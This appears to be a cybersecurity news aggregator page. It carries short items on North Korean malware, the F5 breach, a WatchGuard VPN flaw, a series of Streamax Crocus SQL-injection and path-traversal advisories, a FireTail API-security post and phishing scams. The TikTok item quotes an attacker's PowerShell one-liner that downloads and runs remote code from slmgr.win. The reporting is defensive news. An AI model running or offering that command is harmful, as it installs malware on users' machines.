Aggregator

The North Korean threat actor linked to the Contagious Interview campaign has been observed merging some of the functionality of two of its malware programs, indicating that the hacking group is actively refining its toolset. That's according to new findings from Cisco Talos, which said recent campaigns undertaken by the hacking group have seen the functions of BeaverTail and OtterCookie coming

Vijandelijke infanterie, voertuigen, helikopters, drones: de veelzijdige Boxer Schakal is er tegen in te zetten. Duitsland en Nederland hebben er gezamenlijk flink wat van ingekocht. Goed voor de samenwerking tussen beide landen en een versterking van de NAVO-slagkracht. 

A nation‑state actor infiltrated F5’s BIG‑IP development systems, stealing proprietary code and vulnerability data. While no backdoor was found, CISA warned that the stolen intelligence could speed up exploitation of F5 BIG-IP devices and products - placing edge appliances at immediate risk.

The post F5 Breach: Practical Recommendations for Protecting Your Edge Devices and Reducing Supply Chain Risk appeared first on Sygnia.

Authorities raided a "SIM farm" operation that used tens of thousands of cards to enable fraud in several European countries, including Latvia and Austria.

This issue of the Counter Threat Unit’s high-level bimonthly report discusses noteworthy updates in the threat landscape during July and August

Zero-day attacks have become a significant concern in the realm of cybersecurity, posing a formidable challenge to individuals and organizations alike. These attacks exploit vulnerabilities that are unknown to the software vendor, leaving systems exposed to potential breaches. As cyberthreats evolve, understanding zero...

A critical security vulnerability has been discovered in WatchGuard Firebox appliances that could allow remote attackers to execute arbitrary code without authentication. The flaw, identified as CVE-2025-9242, affects the IKEv2 VPN service and has been assigned a severity score of 9.3 under CVSS 4.0, marking it as a critical threat to organizations using these security […]

The post WatchGuard VPN Flaw Allows Remote Attackers to Execute Arbitrary Code appeared first on GBHackers Security | #1 Globally Trusted Cyber Security News Platform.

Google reveals North Korean hackers are using EtherHiding, a blockchain-based technique, to deliver malware and steal cryptocurrency

This week’s threat landscape (Week 42) reflects sustained adversary focus on speed, stealth, and operational resilience. Attackers continue to favor […]

The post Weekly Threat Landscape Digest – Week 42 appeared first on HawkEye.

Attackers are exploiting TikTok’s massive reach to trick users into executing malware through seemingly innocuous videos. In one popular TikTok video (liked over 500 times), the attacker poses as a provider of a free Photoshop activation tool and urges viewers to open PowerShell as an administrator and run: powershelliex (irm slmgr.win/photoshop) This command uses Invoke-Expression […]

The post TikTok Videos Weaponized to Deliver Self-Compiling PowerShell Malware appeared first on GBHackers Security | #1 Globally Trusted Cyber Security News Platform.

A vulnerability was found in Shenzhen Ruiming Technology Streamax Crocus 1.3.40. It has been rated as critical. Affected by this issue is the function Download of the file /DeviceFileReport.do?Action=Download. Performing manipulation of the argument FilePath results in path traversal. This vulnerability was named CVE-2025-11914. The attack may be initiated remotely. In addition, an exploit is available. The vendor was contacted early about this disclosure but did not respond in any way.

A vulnerability was found in Shenzhen Ruiming Technology Streamax Crocus 1.3.40. It has been declared as critical. Affected by this vulnerability is the function Download of the file /Service.do?Action=Download. Such manipulation of the argument Path leads to path traversal. This vulnerability is uniquely identified as CVE-2025-11913. The attack can be launched remotely. Moreover, an exploit is present. The vendor was contacted early about this disclosure but did not respond in any way.

A vulnerability was found in Shenzhen Ruiming Technology Streamax Crocus 1.3.40. It has been classified as critical. Affected is the function Query of the file /DeviceState.do?Action=Query. This manipulation of the argument orderField causes sql injection. This vulnerability is handled as CVE-2025-11912. The attack can be initiated remotely. Additionally, an exploit exists. The vendor was contacted early about this disclosure but did not respond in any way.

A vulnerability was found in Shenzhen Ruiming Technology Streamax Crocus 1.3.40 and classified as critical. This impacts the function Query of the file /DeviceFault.do?Action=Query. The manipulation of the argument sortField results in sql injection. This vulnerability is known as CVE-2025-11911. It is possible to launch the attack remotely. Furthermore, an exploit is available. The vendor was contacted early about this disclosure but did not respond in any way.

A vulnerability has been found in Shenzhen Ruiming Technology Streamax Crocus 1.3.40 and classified as critical. This affects the function Query of the file /MemoryState.do?Action=Query. The manipulation of the argument orderField leads to sql injection. This vulnerability is traded as CVE-2025-11910. It is possible to initiate the attack remotely. Furthermore, there is an exploit available. The vendor was contacted early about this disclosure but did not respond in any way.

A vulnerability, which was classified as critical, was found in Shenzhen Ruiming Technology Streamax Crocus 1.3.40. The impacted element is the function queryLast of the file /RepairRecord.do?Action=QueryLast. Executing manipulation of the argument orderField can lead to sql injection. This vulnerability appears as CVE-2025-11909. The attack may be performed from remote. In addition, an exploit is available. The vendor was contacted early about this disclosure but did not respond in any way.

A vulnerability, which was classified as critical, has been found in Shenzhen Ruiming Technology Streamax Crocus 1.3.40. The affected element is the function uploadFile of the file /FileDir.do?Action=Upload. Performing manipulation of the argument File results in unrestricted upload. This vulnerability is reported as CVE-2025-11908. The attack is possible to be carried out remotely. Moreover, an exploit is present. The vendor was contacted early about this disclosure but did not respond in any way.

Oct 17, 2025 - Jeremy Snyder - EMBEDDING API SECURITY BY DESIGN INTO DEVOPS PIPELINES

Recently, I did a presentation titled "Embedding API Security by Design into DevOps Pipelines" at DevOps institute. The video is available for review on the post-event page here (registration required).

‍

Also, the good people at Mind's Eye Creative produced a really nice graphic that helps explain the message that I was trying to convey.

Embedding API security into DevOps pipelines

Here's a tl;dr version of what I hoped to communicate in this presentation:

* Organizations are moving towards more platform-as-a-service (PaaS) offerings
* Part of the motivation for doing this is more API-oriented architecture
* But cyber attacks against APIs are actually increasing pretty rapidly, with very real impact and lots of sensitive data leaked
* The main attack vectors (authentication, probing, authorization, injection / bad requests) are things that can be easily detected and controlled at the application layer
* As such, defining the security controls around those can and should be done in your API
* Helper files and dedicated libraries can then check the validity of API requests in real-time

IMPLEMENTING REAL-TIME API SECURITY IS POSSIBLE, AND SHOULD BE EASY. THAT'S WHERE FIRETAIL HOPES TO HELP.

Please contact us if you'd like to discuss how.

The post DevOps Institute SkilUp Presentation: Embedding API Security by Design into DevOps Pipelines – FireTail Blog appeared first on Security Boulevard.

A new campaign has emerged that weaponizes Microsoft’s familiar branding to lure unsuspecting users into a sophisticated tech support scam. Victims receive a seemingly legitimate email, complete with Microsoft’s official logo, claiming there is an important financial transaction or security alert requiring immediate attention. The message prompts recipients to click a link under the guise […]

The post New Tech Support Scam with Microsoft’s Logo Tricks Users to Steal Login Credentials appeared first on Cyber Security News.

Submit #671483 / VDB-328924